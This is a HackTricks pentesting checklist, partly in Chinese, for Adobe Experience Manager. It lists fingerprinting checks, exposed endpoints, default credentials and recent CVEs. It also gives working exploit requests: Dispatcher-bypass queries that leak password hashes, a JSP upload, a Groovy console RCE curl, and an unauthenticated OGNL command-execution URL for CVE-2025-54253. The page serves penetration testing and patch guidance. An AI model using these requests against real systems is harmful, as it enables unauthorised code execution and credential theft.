AEM (Adobe Experience Manager) Pentesting
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) 是一个企业级 CMS,运行在 Apache Sling/Felix (OSGi) 和 Java Content Repository (JCR) 之上。 从攻击者的角度来看,AEM 实例经常暴露危险的 development endpoints、弱的 Dispatcher rules、default credentials 和大量的 CVEs,这些 CVEs 通常每季度修补一次。
下面的检查表关注在实际参与中(2022-2026)持续出现的 externally reachable (unauth) attack surface。
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
其他快速指示:
/etc.clientlibs/存在静态路径(返回 JS/CSS)。/libs/granite/core/content/login.html登录页面,带有 “Adobe Experience Manager” 横幅。</script><!--/* CQ */-->注释位于 HTML 底部。
2. 高价值的免认证端点
| 路径 | 返回内容 | 说明 |
|---|---|---|
/.json, /.1.json | 通过 DefaultGetServlet 获取 JCR 节点 | 通常被阻止,但 Dispatcher bypass(见下文)有效。 |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak of 页面树、内部路径、用户名。 |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 默认返回 403;如果暴露且找到 creds ⇒ bundle-upload RCE。 |
/crx/packmgr/index.jsp | Package Manager | 允许已认证的 content packages 上传 → JSP payload upload。 |
/etc/groovyconsole/** | AEM Groovy Console | 如果暴露 → 任意 Groovy/Java 执行。 |
/libs/cq/AuditlogSearchServlet.json | Audit logs | 信息泄露。 |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS 向量。 |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | 在配置错误的 Forms 安装上(CVE-2025-54253),该端点会执行未认证的 OGNL → RCE。 |
Dispatcher bypass 技巧(截至 2025/2026 仍有效)
大多数生产站点位于 Dispatcher(反向代理)之后。过滤规则经常被滥用编码字符或允许的静态扩展名绕过。
经典的分号 + 允许的扩展名
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. 常见配置错误(截至 2026 年仍存在)
- Anonymous POST servlet –
POST /.jsonwith:operation=importlets you plant new JCR nodes. Blocking*.jsonPOST in the Dispatcher fixes it. - World-readable user profiles – default ACL grants
jcr:readon/home/users/**/profile/*to everyone. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter enabled ⇒ reflected XSS via
?debug=layout(CVE-2016-7882, still found on legacy 6.4 installs). - Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsonand/etc/truststore.jsonreachable with%2f/%3Beven when blocked by path filters. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=evaluates OGNL without auth (CVE-2025-54253) leading to unauth RCE; paired XXE in Forms submission (CVE-2025-54254) allows file read.
4. 最近的漏洞(按服务包节奏)
| 季度 | CVE / 公告 | 受影响 | 影响 |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | 多个严重/存储型 XSS → 通过 author UI 导致代码执行。 |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | 安全特性绕过链(Dispatcher auth checker)– 升级到 6.5.24/Cloud 2025.12。 |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE 文件读取,无需认证。 |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Communities 组件中的存储型 XSS 和权限提升。 |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/存储型 XSS,任意代码执行(低权限)。 |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | 通过特制 URL 的基于 DOM 的 XSS。 |
始终检查与客户的服务包相匹配的 APSB 公告,并推动升级到最新的 6.5.24 (Nov 26, 2025) 或 Cloud Service 2025.12。AEM Forms on JEE 需要其专属 add-on hotfix 6.5.0-0108+。
5. 利用片段
5.1 RCE via dispatcher bypass + JSP upload
如果允许匿名写入:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Now request /content/evil.jsp – 该 JSP 以 AEM 进程用户身份运行。
5.2 SSRF to RCE (历史 < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py 来自 aem-hacker,自动化了完整链路。
5.3 OGNL RCE 在 AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
如果存在漏洞,HTTP body 包含命令输出。
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
当匿名读取 ACL 为默认时,会返回包含 rep:password 哈希的用户节点。
6. 工具
- aem-hacker – 多合一枚举脚本,支持 dispatcher bypass、SSRF 检测、default-creds 检查等。
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – 自动检测 QueryBuilder 哈希泄露和 encoded-slash bypass(发布于 Dec 2025)。
- Content brute-force – 递归请求
/_jcr_content.(json|html)以发现隐藏组件。 - osgi-infect – 通过
/system/console/bundles上传恶意 OSGi bundle(如果有 creds 可用)。
References
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


